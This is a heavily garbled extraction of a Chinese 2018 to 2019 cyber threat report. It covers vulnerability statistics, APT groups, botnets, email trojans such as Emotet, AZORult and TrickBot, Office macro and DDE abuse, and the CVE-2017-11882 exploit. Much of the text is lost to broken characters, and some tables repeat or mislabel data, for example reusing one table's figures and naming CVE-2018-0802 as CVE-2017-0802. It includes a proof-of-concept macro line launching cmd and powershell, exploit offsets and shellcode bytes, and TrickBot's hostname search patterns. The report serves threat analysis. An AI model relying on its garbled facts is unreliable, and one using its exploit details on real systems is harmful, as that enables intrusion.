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1、应用广泛的软硬件曝出多个重大漏洞，漏洞从曝光到被利

用的时间越来越短 

ɺ 

CPU ɺ

CPU ɺ 

2018 ɹ ɹ

ɺ

ɺ 

2018 BECɹSocialChainɹHexagonɹEOS

ɺ 

2018 WebLogicɹStruts2ɹThinkPHP Web

ɺ 

ɺ  

 

漏洞名称 曝光时间 被利用时间 

 2017 3  2017 5  

WebLogic WLS 

CVE-2017-10271  

2017 10  2017 12  

Drupal (CVE-

2018-7600) 

2018 3 28  2018 4 12  

GPON CVE-

2018-10561  

2018 5 3  2018 5 8  

Apache Struts2 S2-

057  

2018 8  2018 9  

ThinkPHP  2018 12 9  2018 12  

Nexus Repository Manager 3

(CVE-2019-

7238) 

2019 2  2019 2  

表 1 近几年高危漏洞曝光和利用时间对比 

https://paper.seebug.org/571/
https://paper.seebug.org/571/
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图 2 APT 攻击领域分布 

 

APT

ɺ  

 

 

图 3 针对我国攻击的 APT 组织攻击次数分布 

 

APT  

1 ɺ 

2 APT ɺ 

3 ɺ 

APT

毒云藤

34%

海莲花

21%

蔓灵花

21%

白象

13%

DarkHotel

10%

蓝宝菇

1%

针对我国攻击的APT组织攻击次数分布
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4 ɺ 

5、勒索攻击趋于定向化，版本迭代进入“敏捷化”时代 

ɺ

ɺ

ɺ

ɺ

ɺ 

ɺ GandCrab

GandCrab ɺRaaS

ɺ 

 

ɺ 

6、挖矿攻击增长明显，逐渐成为黑客获利的最佳途径 

ɺ

2018

ɹ ɹ ɺ 

4  

ɺ 0day/1day

ɺ

ɹ ɹ ɹ

ɺ 

ɺ 

7、针对 IoT 设备的攻击呈爆发式增长，IoT 蠕虫较往年增长

数倍 

ɹ ɹ ɹ ɹ  
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2018 11  11 30

2014

5 ɺ 

2018 12  2

ɺ

ɺ 

2019 1  ɺ

ɹ ɹ ɹ ɹ 

ɺ 

2019 1  UpGuard Greg Pollock

ODS

3TB ɺ 

2019 1   Troy Hunt 

 MEGA 

87GB

 7.73  2122 

ɺ 

2019 2  Dream Market

6.2

2

16 ɺ 

2019 3  57G 3300

Elasticsearch

Shodan ɺ 

表 2 2018 年~2019 年数据泄露事件 

9、工控环境、云环境成黑客新宠，各类针对性安全事件频发 

ɺ 

ɺ

ɹ ɹ SaaS ɺ

ɺ  
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ɺ

ɹ ɹ

ɺ 

 

ɺ 

ɺ 

DropBox OneDrive GoogleDrive ɺ

ɺ 

ɺ  

IT ɺ Windows

ɺ

ɺ ɹ

ɺ

ɺ

ɺ

10 ɺ  

ɺ

ɹ ɺ 

ɹ ɹ

ɺ 

2000

ɺ 

 

时间 相关事件 

2000  ɺ

100

ɺ 

2003  Davis-Besse SQL 

Slammer

ɹ

ɺ 

2006  2006 8 Browns Ferry 3
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1.1 年度新增漏洞数据分析 

2018 12895 2017 2.2%

264 2017 41.7%ɺ 

 

年份       等级 高危 中危 低危 总数 

2017 453 6003 6728 13184 

2018 264 5722 6909 12895 

同比增加/减少率 -41.7% -4.7% +2.7% -2.2% 

表 4 2018 年漏洞收录情况 

 

Google Microsoft IBM Cisco Adobe Oracle Apple Linux

Foxit ɺ 

 

厂商           漏洞数 2017 2018 

Linux 1149 1604 

Oracle 830 733 

Microsoft 701 706 

Google 1055 525 

Adobe 358 478 

Cisco 476 461 

IBM 491 413 

Apple 504 359 

Foxit 69 324 

表 5 2018 年重要厂商漏洞收录情况对比 

 

706 Windows7 Windows10 Windows Server 

2008 Windows Server 2012 Windows Server 2016 Windows Edge Microsoft Office ɺ 

 

产品                年份 2017 2018 

Windows 7 229 162 

Windows 10 265 257 

Windows Server 2008 243 156 



 

2018~2019  

Windows Server 2012 235 163 

Windows Server 2016 249 246 

Windows Edge 201 161 

Microsoft Office 53 84 

表 6 2018 年 Windows 系统漏洞收录情况 

 

2017 ɺ 

 

厂商                年份 2017 2018 

西门子 34 60 

施耐德 48 63 

摩莎 36 13 

欧姆龙 0 25 

表 7 2018 年工控系统漏洞收录情况 

 

GPON D-Link TP-Link Linksys TBKVision

NUUO NVRMini2 2017 ɺ 

 

产品                年份 2017 2018 

GPON 229 162 

D-Link 265 257 

TP-Link 243 156 

Linksys 235 163 

TBKVision 249 246 

NUUO NVRMini2 201 161 

表 8 2018 年智能联网设备漏洞收录情况 

1.2 年度最具影响力漏洞 

ɺ ɺ 

1、 中央处理器曝出史诗级漏洞“Meltdown”和“Spectre” 

 

http://www.baidu.com/link?url=T1sSrrWb4wgCFnVrpPAQWhiwBf4mPlxyAhN5w9CG-S-7oEq89-Uut4V3fgRz23dpjvCsyhF_X1aO77LhyI4KzZj3Wd-btlg8CZ6g8-H9CXC
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ɺ 

4、 ThinkPHP 多个远程代码执行漏洞 

2018 12 10 ThinkPHP ɺ

ThinkPHP

ɺ 2018 9 0day

ɺ 

ThinkPHP Request ɺ Request

method $_POST 

filterValue() call_user_func()

ɺ 

5、 Flash 多个在野 0day 漏洞被 APT 组织野外利用 

2018 2 1 Adobe APSA18-01 Adobe 

Flash 0Day CVE-2018-4878 ɺ CERT

ɺ2018 3 Lazarus CVE-2018-4878 FALLCHILL

DOC ɺ 

CVE-2018-5002 2018 6 7 APT Hacking Team

Excel ɺ 

2018 11 29

APT ɺ  

ɺ Flash 

0day CVE-2018-15982 ɺ 

6、 多个区块链智能合约漏洞 

ɹ

ɺ

ɹ ɺ

ɺ 

2018 BECɹSocialChainɹHexagonɹEOS

ɺ 

7、 Apache Struts2 远程代码执行漏洞 

Struts  Apache ASF ɺ Jakarta

2004 3 ASF ɺ  JavaServlet/JSP 

JavaEE Web MVC MVC  
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ɺ  2007 7 23 Struts2  

Struts2 ɺ

ɺ 2016 ɺ2017

ɺ2018 Struts2 ɺ 

2018 8 22 Apache Struts2

CVE-2018-11776 S2-057 ɺ

ɺ Lucky ɺ 

8、 WinRAR 远程代码执行漏洞（CVE-2018-20250） 

WinRAR ɺ2019 2

WinRAR ACE

CVE-2018-20250 ɺWinRAR ACE

19  unacev2.dllɺ unacev2.dll

ɺ

ɺ 

GandCrab APT33ɹ APT

ɺ 

9、 微软远程桌面服务远程代码执行漏洞（CVE-2019-0708） 

2019 5 14 CVE-2019-0708

Windows ɺ

ɺ

SMB

ɺ ɺ 

1.3 年度最流行漏洞 

1、Windows SMB 远程代码执行漏洞(“永恒之蓝”) 

2017 NSA

ɺ

ɺ 

VenusEye 2018 VenusEye

ɺ 15.82% 14.60%

11.45% 9.70% 6.79% ɺ 
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2017 WannaCry ɺ 

WannaCry

ɺ 

2、某品牌 HG532 远程代码执行漏洞（CVE-2017-17215） 

2017 HG532

37215 ɺ2018 IoT

Hakai Mirai Satori Okiru IoT

ɺ 

3、IIS6 远程代码执行漏洞（CVE-2017-7269） 

IIS  Internet Information Services  

Microsoft Windows ɺ 

2017 3 Microsoft Windows Server 2003 R2 Internet Information Services (IIS) 

6.0 WebDAV ScStoragePathFromUrl ɺ

Windows Server 2003 R2 2016 7ɹ8 ɺ 

4、MikroTik RouterOS 安全漏洞（CVE-2018-14847） 

MikroTik RouterOS Linux ARM MIPS x86

ɺ PC

ɺ 

2018 4 MikroTik ɺ

ɺ  

root POCɺ IoT

Mikrotik 

ɺ 

5、Apache Struts2 远程代码执行漏洞（S2-045/CVE-2017-5638、S2-057/CVE-2018-11776） 

Struts Apache Struts Java Servlet/JSP

Java EE Web Model-View-Controller(MVC) MVC

ɺ Web

ɺ 

2017 4 Apache Struts 2 S2-045 Jakarta

ɺ 

2018 8 22 Apache Struts2 S2-

057 ɺ 

2018 Lucky S2-045ɹS2-057

ɺ 
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6、WebLogic WLS 组件漏洞（CVE-2017-3506/CVE-2017-10271） 

2017 WebLogic WLS  

ɺ CVE-2017-3506 Oracle WebLogic WLS 

ɺOracle 2017  4  

CVE-2017-10271ɺ

wls-wsat XMLDecoder

XMLDecoder 2013

ɺOracle 2017 10

WebLogic ɺ 

2018 WebLogic WebLogic

ɺ 

7、GPON 光纤路由器漏洞（CVE-2018-10561/CVE-2018-10562） 

2018 5 VPNMentor GPON ɺ

(CVE-2018-10561) CVE-2018-10562

ɺCVE-2018-10561 ɺ

GPON HTTP

ɺCVE-2018-10562 ɺGPON

ping traceroute

ɺ /tmp /diag.html

CVE-2018-10561 ɺ 

10 5 mettleɹ

muhstikɹmiraiɹhajimeɹsatori ɺ 
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2.1 僵尸网络感染态势分析 

VenusEye 2018

13.29% ɺ 8.48% 7.93% 7.54%

7.23% ɺ 2017 ɺ 

 

2017 年 2018 年 

11.59%  13.29%  

10.40%  8.48%  

10.15%  7.93%  

9.57%  7.54%  

5.77%  7.23%  

表 9 2018 年全球僵尸主机分布情况 TOP5 

 

 

图 7 2018 年全球僵尸主机分布情况 

 

2018

15.48% ɹ 12.96% ɹ 7.53% ɹ 6.05% 4.56% ɺ 2017

ɺ 
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2017 年 2018 年 

10.55%  15.48%  

10.29%  12.96%  

7.51%  7.53%  

7.30%  6.05%  

6.44%  4.56%  

表 10 2018 年国内僵尸主机分布情况 TOP5 

 

 

图 8 2018 年国内僵尸主机分布情况 

 

 C&C 5 89.23%

8.61% 0.58% 0.31% 0.26% ɺ 

2017 C&C 13.29% C&C

8.48% 7.93% 7.54%

7.23% ɺ 
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图 10 2018 年全国命令控制服务器分布情况 

 

2018  

 

图 11 2018 年我国境内活跃僵尸网络家族分布 

2.2 通过邮件传播的木马攻击态势分析 

42%

17%

14%

9%

6%

4%
3% 2%3%

2018

ZeroAccess Linux_IRCBot njRat NavRat Gh0st Remcos KillerRat
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ɺ VenusEye 2018

IP 27% 12% 7%

5% 5% ɺ  

 

 

图 12 2018 年恶意邮件投递源 IP 分布 

 

gmail.com 11% dhl.com

2% caixabank.com 1% hotmail.com 1% maerskline.com 1% ɺ gmail.com

ɺ 



 

2018~2019  

 

图 13 攻击者最喜欢的邮箱域名 

 

Purchase Order message

Invoice New Order Payment ɺ  

ɺ 

 

图 14 攻击者最喜欢使用的邮件标题和附件名称 

 

2018 30 ɺ

74% ɹ 12% ɹ 12% ɹ 2%  
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ɺ 

ɺ 

 

 

图 15 经邮件传播的木马类型分布 

 

2018  

 

图 16 经邮件传播的木马家族分布 

 

Lokibot PonyɺFormBook 2017  

74%

12%

12% 2%

37%

25%

11%

9%
4%4%3%2%2%1%0%0%0%2%

Loki bot Pony Emotet

FormBook Agent Tesla Adwind

HawkEye Keyloggger NanoCore Remcos

Betabot Azorult DarkComet

NetWire RAT
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2018 ɺ VB Loader C# Loader

Delphi Loaderɺ 

 

 

 AZORult Lokibot FormBook 

发现时间 2016 2016.11. 2017.6. 

窃密 Ŵ Ŵ Ŵ 

远程控制   Ŵ 

DDoS    

反虚拟机/反沙

箱 

 Ŵ Ŵ 

数据回传 http  http  http  

表 12 主要窃密木马功能对比 

 

2018 NanoCoreɹ

AdwindɹRemcos Betabotɺ 

 

 

 FlawedA

mmyy 

NanoCor

e 

NetWire ServHelper Betabot Remcos 

发现时间 2017.4 2015.12 2016.3 2018.11   2013.3  2017.04 

窃密  Ŵ Ŵ    Ŵ Ŵ 

远程控制 Ŵ Ŵ Ŵ Ŵ   Ŵ Ŵ 

DDoS  Ŵ Ŵ    Ŵ Ŵ 

反虚拟机 Ŵ Ŵ     Ŵ Ŵ 

隶属 APT 组织  TA505   TA505    

数据回传 tcp 明文 tcp  tcp  http  http  tcp  

表 13 主要远程控制类木马功能对比 
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HawkEye Keylogger ɺ 2018

V8 V9 .Net ConfuserEx  

ɺ Filezilla Beyluxe 

Messenger CoreFTP ɺV9 Nirsoft MailPassView

WebBrowserPassView ɺ 

 

 

 HawkEye 

Keylogger 

Agent 

Tesla 

Cyborg 

keylogger 

Keybase 

发现时间 2015.5 2016.11 2014.11 2015.4 

键盘监控 Ŵ Ŵ Ŵ Ŵ 

剪贴板监控 Ŵ Ŵ Ŵ Ŵ 

摄像头监控  Ŵ Ŵ  

截屏 Ŵ Ŵ Ŵ Ŵ 

获取用户信息 Ŵ Ŵ Ŵ Ŵ 

可移动设备传播 Ŵ   Ŵ 

获取浏览器账户密码 Ŵ Ŵ Ŵ Ŵ 

获取邮件账户密码 Ŵ Ŵ  Ŵ 

窃取虚拟货币 Ŵ   Ŵ 

窃取 MineCraft 账号信

息 

Ŵ  Ŵ Ŵ 

下载文件  Ŵ Ŵ  

反沙箱  Ŵ Ŵ  

绕过 UAC  Ŵ   

数据回传方式 FTP

EMAIL PHP 

FTP

EMAIL PHP 

FTP

EMAIL PHP 

FTP EMAIL PHP 

表 14 主要键盘记录类木马功能对比 

 



 

2018~2019  

 

2018 Emotet Ursnif TrickBotɺ

 

 

 Emotet TrickBot 

发现时间 2014.6 2016.10 

邮件传播 Ŵ Ŵ 

模块化 Ŵ Ŵ 

窃密 Ŵ Ŵ 

远程控制 Ŵ Ŵ 

DDoS   

反虚拟机 Ŵ Ŵ 

反沙箱 Ŵ  

局域网传播  Ŵ 

数据回传 http  https

http  

表 15 主要网银类木马功能对比 

2.3 通过邮件传播的流行木马分析 

2.2.1 流行木马分析-Emotet 

Emotet 2014 6 V1

ɺEmotet

ɺ (Man-in-the-

Browser)ɺ 

2014 Emotet V2 ɺ  

1 (ATS) ɺ 

2 ɹ ɹ ɹ ɹDDoS
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3  

2014 12 V2

2014 12 10 11:33:43ɺ Emotet 2015

1 Emotet V3 ɺV3 V2  

1 ATS ɺ 

2 V3 ɺ 

3 explorer.exe V2

OpenProcess+WriteProcessMemeory+CreateRemoteThreadɺV3  

OpenProcess+WriteProcessMemory+ZwCloseɺ 

4 V3

C&C ɺ C&C

ɺ 

5 V3 RC4

ɺ 

2017 4 Emotet ɺ C&C

V4 ɺV4 CBC 128

AES ɺ C&C Cookie ɺV4

ɺ 

2017 Emotet ɺ

ɺ Hash

ɺ 

2018 Emotet

ɺ2017 Emotet PDF JS 2018

Word VBA CMD ɺ 

2019 Emotet  

1 ɺ 

2 http Cookie ɺ 

3 ɺ 

Emotet  

1. C&C  

Emotet C&C ProtoBuf Google ɹ

ɹ ɺEmotet

2019 ɺ 
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图 17 Emotet 木马分析配图 1 

 

ɺ 

0x08 Emotet dll(crypt32.dllɹurlmond.dllɹuser32.dllɹuserenv.dllɹwininet.dllɹ

wtsapi32.dll) 0x08 1 0x00ɺ C&C

ɺ 

0x12 Emotet BotID

0x12 1 0x18 BotID ɺ 

0x18 ɹ ɺ 

0x20 PEB SessionIdɺ 

0x2D Emotet CRC32 RtlComputeCrc32 ɺ 

0x32 ɺ 0x3A ɺ 

2017 4 V4 2019 5 ɺV4

BotIDɹ ɹ ɹ ɺBotID ɹ

ɹ SID Hash ɺ V4  
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图 19 Emotet 木马分析配图 3 

 

0x08 0x08 1 0x01 C&C ɺ 

0x1D 0x00010116 dwMajorVersionɹdwMinorVersionɹ

wServicePackMajorɹwServicePackMinorɹwProductTypeɹwProcessorArchitectureɺ 

0x25 Emotet CRC32ɺ 

0x2A ɺ 

0x22 PEB SessionIdɺ 

0x3A ɺ 

V2 V3 ɺ

2017 4 2019 5 ɺ 

V2 V3 RC4

RSA RC4 ɺRC4 ɺ

 

 

 

图 20 Emotet 木马分析配图 4 
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2.2.2 流行木马分析-AZORult 

AZORult ɺ 2016

Chthonic ɺ AZORult

ɺ 

AZORult ɺ ɺ

AZORult ɺ AZORult C2

ɹ ɹ ɹ ɹ

ɹ ɺ 

1ɹ AZORult V2  

ɺ RTF

ɺ 

2ɹAZORult V3.2  

2018 7 AZORult V3.2 ɺ

ɺ ɺ 

3ɹAZORult V3.3  

2018 10 AZORult V3.3 RIG ɺ

C&C C&C

ɺ 

AZORult

ɺ 

AZORult  

1ɹ  

1  

AZORult C&C ɺ 

2 ɹ ɺ 

3  

Outlook  WinSCP  Skype  Telegram  

Steamɺ ɺ 

4  

scr.jpgɺ 

5  

GUIDɹWindows ɹ ɹ 0x6521458A  

 

 

https://otx.alienvault.com/pulse/5a8edec1d399c40569fb3444/related
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/
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Hash ɺ Hash ɺ

ɺ C&C

ɺ 

6  

ɹ

ɺ 

AZORult ɺ SID token

Local system WTSQueryUserToken CreateProcessAsUser

ɺ 

7  

%temp%\2fda C&C ɺ 

8 C&C  

C&Cɺ 

C&C

ɺ 3 ɺ  

Info Windows  

pwds  

cooks cookies  

file cookie IDɹWindows ɹ

ɹ ɹ ɹ ɹCPU ɹCPU ɹRAMɹ ɹ

ɺ 

2.2.3 流行木马分析-TrickBot 

TrickBot 2016 ɺ

ɺTrickBot

ɺ C&C svchost ɺ 

TrickBot ɹ ɹ

ɺ  

 

模块 功能 出现日期 

injectDll ɺ 2016-10 

systeminfo ɹCPUɹ ɹ

ɺ 

2016-10 
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mailsearcher ɺ 2016-12 

wormDll ɺ 2017-07 

outlook Microsoft Outlook ɺ 2017-08 

importDll ɹCookie

ɺ 

2017-08 

bcClientDllTest Socks5 C&C ɺ 2017-08 

shareDll wormDll

ɺ 

2017-09 

domainDll ɺ 2017-12 

tabDll tabDll

screenLockerɺ 

2018-03 

networkDLL ɺ domainDll

C&C networkDLLɺ 

2018-04 

squlDll ɺ 2018-04 

NewBCtestDll Socks5 ɺ 2018-05 

vncDll hVNC ɺ 2018-05 

pwgrab OutlookɹFilezillaɹWinSCPɹsftpɹVNCɹ

PuTTYɹRDP ɹChromeɹFirefoxɹIEɹEdge

ɺ 

2018-10 

psfin POS ɺ 2018-11 

表 17 TrickBot 木马分析表格 1 

 

4 ɹ ɹ ɹ ɺ

POS ɺ 

 

 

wormDll 

shareDll 

tabDll 

 

injectDll 

outlook 

importDll 

pwgrab 

squlDll 

 bcClientDllTest 
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图 22 TrickBot 木马分析配图 1 

 

 

 

 

图 23 TrickBot 木马分析配图 2 
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图 25 TrickBot 木马分析配图 4 

 

5 psfin32  

POS ɺ POS

ɺ ɹATM

ɺpsfin32 POS

LDAP dnsHostName  

*POS*ɹ*LANE*ɹ*BOH*ɹ*TERM*ɹ*REG*ɹ*STORE*ɹ*ALOHA*ɹ*CASH*ɹ*RETAIL*ɹ

*MICROS* 

sAMAccountNameɺ 

 

 
图 26 TrickBot 木马分析配图 5 

 

Site Name  

 

图 27 TrickBot 木马分析配图 6 
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Organizational Unit  

 
图 28 TrickBot 木马分析配图 6 

 

userAccount  

 

图 29 TrickBot 木马分析配图 7 

 

Log ɺ 

 
图 30 TrickBot 木马分析配图 8 

 

C&C ɺ 

6 pwgrab32  

OutlookɹFilezillaɹWinSCPɹsftpɹVNCɹPuTTYɹRDP ɹChromeɹFirefoxɹ

IEɹEdge ɺ VNCɹPuTTYɹRDP 2019 2

ɺ 

7 shareDll32  

TrickBot IPC$ ɺ 

8 systeminfo32  

C&C ɹCPUɹ ɹ

ɹ ɺ 

9 wormDll32  

TrickBot SMB ɺ 
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US/security-guidance/advisory/CVE-2018-0798 

2018 2  CVE-2018-4878 
https://helpx.adobe.com/security/products/flash-

player/apsa18-01.html 

2018 5  CVE-2018-8174 
https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2018-8174 

2018 6  CVE-2018-5002 
https://helpx.adobe.com/security/products/flash-

player/apsb18-19.html 

2018 7  CVE-2018-8242 
https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2018-8242 

2018 7  CVE-2018-8373 
https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2018-8373 

2018 12  CVE-2018-15982 
https://helpx.adobe.com/security/products/flash-

player/apsb18-42.html 

表 19 2018 年主要 Office 漏洞 

 

CVE-2018-0802 CVE-2018-0798 CVE-2017-11882

CVE-2018-8242 CVE-2018-8373 CVE-2018-8174 ɺ

ɺ 

2018 CVE-2017-11882 CVE-2017-0199

ɺ 

CVE-2017-11882

45%

CVE-2018-0802

9%

CVE-2018-0798

1%

CVE-2017-0199

9%

CVE-2017-8570

4%

CVE-2017-8759

15%

CVE-2018-8174

3%

CVE-2018-8373

1%

CVE-2018-4878

2%

CVE-2018-5002

1%

其他

10%

漏洞利用占比图

CVE-2017-11882

CVE-2018-0802

CVE-2018-0798

CVE-2017-0199

CVE-2017-8570

CVE-2017-8759

CVE-2018-8174

CVE-2018-8373

CVE-2018-4878

CVE-2018-5002

图 32 Office 各类漏洞利用占比 

https://helpx.adobe.com/security/products/flash-player/apsa18-01.html
https://helpx.adobe.com/security/products/flash-player/apsa18-01.html
https://helpx.adobe.com/security/products/flash-player/apsb18-19.html
https://helpx.adobe.com/security/products/flash-player/apsb18-19.html
https://helpx.adobe.com/security/products/flash-player/apsb18-42.html
https://helpx.adobe.com/security/products/flash-player/apsb18-42.html
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Office CVE-2017-11882ɹ

CVE-2018-0802 CVE-2018-0798ɺCVE-2017-11882

2017 ɺ CVE-2018-0802 CVE-2017-

11882 CVE-2017-11882

ɺ

ɺ 

CVE-2017-0199ɹCVE-2017-8570 CVE-2017-8759

ɺ2018 IE CVE-2018-8174ɹCVE-2018-8373 Flash

CVE-2018-4878ɹCVE-2018-5002ɹCVE-2018-15982 APT

ɺ 

65.16% RTF ɺ RTF

ɺ RTF /objupdate /objautlink OLE

ɺ

RTF ɺ 

3.1.2 宏利用态势 

Office 60%

ɺ 

CFB doc xls OOXML docm xlsm

RTF ɺ RTF CFB

OOXML ɺ

RTF ɺ 

ɺ

ɺ OOXML docx xlsx

docm xlsm ɺ 

ɺ

ɺ 

2018 10 Outflank Excel 4.0 shellcode POC  

ɺExcel 4.0 ɺ VBA

ɺ POC Excel4.0

ɺ 
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3.1.3 DDE 

DDE(Dynamic Data Exchange)  Office

ɺ2017 11 DDE

ɺ 

DDE

ɺ 

3.1.3.1 DDE 机制的利用 

Word DDE ɺ 

 

 

图 33 DDE 机制配图 1 

 

DDEAUTO DDE

ɺ 

 
图 34 DDE 机制配图 2 
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DDE ALT+f9

ɺ 

Excel ɺ Excel \1OLE

moniker ɺ 

 

 

图 35 DDE 机制配图 3 

 

ɺ 

 

 

图 36 DDE 机制配图 4 

 

DDE ɺ

DDE

msword msExcel cmd ɺ 

3.1.3.2 DDE 机制的检测 

Office OLE

ɺ DDE WordDocument

Workbook ɺ 

DDE ɺ 

CFB doc WordDocument FIB

0x800 ɺ 
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SupBook DDE ɺ 

 

 

图 41 DDE 机制配图 9 

 

RTF \field \fldinst \insrsidxxx ɺ 

 

 
图 42 DDE 机制配图 10 

 

ooxml document.xml

externallink(\xl\externalLinks\externalLinkxx.xml) DDE ɺ 

 

 

图 43 DDE 机制配图 11 

 

 

图 44 DDE 机制配图 12 
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Excel

ɺ 

3.2.2 利用 Office 文档隐藏关键信息 

Office payload

Office ɺ

ɺ POC

ɺ 

Shell ("cmd.exe /c powershell  

c:\windows32\system32\calc.exe") 

ɺ 

1ɹ Excel  

Excel

ɺ 

 

 

图 46 宏利用 Office 文档隐藏关键信息配图 1 

 

ɺ 

 

 

图 47 宏利用 Office 文档隐藏关键信息配图 2 
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2ɹ  

ɺ textbox

ɺ 

 

图 48 宏利用 Office 文档隐藏关键信息配图 3 

 

ɺ 

 

 
图 49 宏利用 Office 文档隐藏关键信息配图 4 

 

ɺ 

 

 

图 50 宏利用 Office 文档隐藏关键信息配图 5 

 

ɺ 

 

 

图 51 宏利用 Office 文档隐藏关键信息配图 6 

 

3ɹ  
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ɺ 

 

 

图 52 宏利用 Office 文档隐藏关键信息配图 7 

 

ɺ 

 

 
图 53 宏利用 Office 文档隐藏关键信息配图 8 

3.2.3 躲避进程树检测 

shellcode payload

payload

Office ɺ ɺ 

COM WMI

ɺ 

 

 

图 54 宏代码躲避进程树技术配图 1 
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4

NULLɺ

ɺ WMI WMI ɺ 

 

 

图 55 宏代码躲避进程树技术配图 2 

 

Office WMI

ɺ Explorer ɺ 

 

 

图 56 宏代码躲避进程树技术配图 3 

 

 

图 57 宏代码躲避进程树技术配图 4 

3.2.4 Excel 4.0 宏 

Outflank Excel 4.0 shellcode POC

ɺExcel 4.0 Office VBA ɹ

ɺ POC Excel 4.0

ɺ 
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3.2.4.1 样本构建 

Excel 4.0 26 VBA Office

Excel 4.0 ɺ 

 

 

图 58 Excel 4.0 宏技术配图 1 

 

Excel4.0 ɺ 

 

 

图 59 Excel 4.0 宏技术配图 2 

 

Auto_Open ɺ 
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图 60 Excel 4.0 宏技术配图 3 

 

POC ɺ 

3.2.4.2 文档格式解析 

Excel 4.0

ɺ Excel 4.0

ɺ 

CFB workbook ɺ

MS-XLS workbook workbook substream

global ɺ 

 

 

图 61 Excel 4.0 宏技术配图 4 

 

record substream record ɺrecord

ɺ 

 

 

图 62 Excel 4.0 宏技术配图 5 

 

global record record

0x0809 BOF 0x10ɺ substream ɺ  



 

2018~2019  

 

0x0A(EOF)ɺ BOF EOF substream

workbook ɺ 

workbook ɺ workbook

global record global

record substream ɺ 

 

 

图 63 Excel 4.0 宏技术配图 6 

 

0x85 record BoundSheet8 hsState

A ɺ 

 

图 64 Excel 4.0 宏技术配图 7 

  

 dt stName ɺ 
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图 65 Excel 4.0 宏技术配图 8 

 

 

图 66 Excel 4.0 宏技术配图 9 

 

Excel 4.0

substream 0x323E hsState 2 dt 1

Macro Sheet Macro1ɺ WorkSheet xls

3 Excel 4.0

Macro Sheet ɺ global Macro Sheet

Excel 4.0 ɺ 

ɺ ɺ

Macro Sheet workbook substream

6 formula recordɺ 
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图 70 Excel 4.0 宏技术配图 13 

 

ɺ

4 calc ɺ 

0x42 PtgFunVarɺ 

 

图 71 Excel 4.0 宏技术配图 14 

 

图 72 Excel 4.0 宏技术配图 15 

 

caparams 1 1 ɺ

15 ɺ 0x006E

Ftab 0x6E EXECɺ 
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 73  Excel 4.0 16 

  

record exec calc ɺ 

formula record alert

calc start halt()ɺ 

3 record

ɺ 

ooxml ɺ xml ɺ 

 

 

图 74 Excel 4.0 宏技术配图 17 

 

macrosheets macrosheet  

worksheetɺ 

 

 

图 75 Excel 4.0 宏技术配图 18 
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< ɺ 

3.2.4.3 实际攻击样本 

Outflank POC windows API ɺ 

 

 

图 76 Excel 4.0 宏技术配图 19 

 

POC VirtualAlloc  

shellcode END WriteProcessMemory ɺ

CreateThread ɺ 

POC Excel 4.0 ɺ

ɺ 

ɺ 
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图 77 Excel 4.0 宏技术配图 20 

 

A30 ɺ 

 

 
图 78 Excel 4.0 宏技术配图 21 

 

A30

msiexec payload

ɺ 

3.3 典型漏洞技术分析 

3.4.1 公 式 编 辑 器 栈 溢 出 漏 洞 ： CVE-2017-11882/CVE-2018-

0802/CVE-2018-0798 

2017 11 CVE-2017-11882

Office ɺ  
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ASLRɺ 

CVE-2017-11882 CVE-2018-0802 CVE-2018-

0798 EQNEDT32.EXE

ASLR ɺ Office

ɺ 

Office

EQNEDT32 ɺ Office OLE

Office ɺ 2000

ASLRɹDEP  strcpy ɺ

EQNEDT32.EXE  Office 

ɺ WINWORD.EXE  EXCEL.EXE Office

EQNEDT32.EXE ɺ 

3.4.1.1 漏洞原理 

3.4.1.1.1 CVE-2017-11882 

CVE-2017-11882 FONT tag=8

ɺ

ɺ 

4

Equation Native ɺ 

 

 
图 79 CVE-2017-11882 漏洞分析配图 1 
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0x1C ɺ 

 

图 80 CVE-2017-11882 漏洞分析配图 2 

 

5 MTEF ɺ 

 

 

图 81 CVE-2017-11882 漏洞分析配图 3 

 

ɺ 0x0A 0x01

FONT tag=8 ɺ 
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图 82 CVE-2017-11882 漏洞分析配图 4 

 

typeface=0x5A style=0x5A \xB8\x44...\x14\x21\x40

ɺ

ɺ 0x41160F ɺ 

 

 

图 83 CVE-2017-11882 漏洞分析配图 5 

 

ebp+0x8 0x41160F

shellcode DEP 

shellcode shellcode ebp-

0x28 ebp 0x2C ebp+0x4 ɺ 

0x30 0x2C 0x04

ɺ shellcode

ɺ

ɺ 
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shellcode ɺ

shellcode ret shellcode ɺ

WinExec

ɺ shellcode ɺ 

3.4.1.1.2 CVE-2018-0802 

CVE-2017-11882 CVE-2018-0802ɺCVE-

2018-0802 CVE-2017-11882 FONT tag=8

ɺ CVE-

2017-11882 ɺ 

CVE-2018-0802 CVE-2017-11882 Office

ɺ CVE-2018-0802 CVE-2017-

11882 ɺ  

ɺ 

CVE-2017-11882 ɺ 

 

 

图 87 CVE-2017-0802 漏洞分析配图 1 

 

ɺ

ASLR

ɺASLR 16 16 ɺ  
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/0 16 xxxx00yy

ɺ 16 IDA

ɺ 0x421E39 0x4200yy ret ret

0x420025ɺ 

 

 
图 88 CVE-2017-0802 漏洞分析配图 2 

 

16 \x25\x00ɺ 

0x421E39ɺ ASLR  

ɺ 

 

 

图 89 CVE-2017-0802 漏洞分析配图 3 

 

 

图 90 CVE-2017-0802 漏洞分析配图 4 
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图 93 CVE-2017-0802 漏洞分析配图 7 

 

 

图 94 CVE-2017-0802 漏洞分析配图 8 

 

0x421774 0x421774

ɺ 49 if ɺ 

 

 
图 95 CVE-2017-0802 漏洞分析配图 9 

 

GetTextFaceA

ɺ 0 ɺ  
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0x4115A7ɺ 

 

 

图 96 CVE-2017-0802 漏洞分析配图 10 

 

0x41160F CVE-2017-11882 ɺ

0x96 lpString1 0x2D  

ɺ 0x20 0x20

0x20 \0 ɺ

0 ɺ 

 

 

图 97 CVE-2017-0802 漏洞分析配图 11 

 

3 a3 0 0 ɺ 3 1

0x421774 ɺ 

 

 
图 98 CVE-2017-0802 漏洞分析配图 12 
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图 99 CVE-2017-0802 漏洞分析配图 13 

 

 

图 100 CVE-2017-0802 漏洞分析配图 14 

 

0x421774 1

shellcode API

0x421E39 ɺ

ɺ 

 

 

图 101 CVE-2017-0802 漏洞分析配图 15 

 

0x421774 ɺ

16 ASLR 16 ret ɺ 

 

 

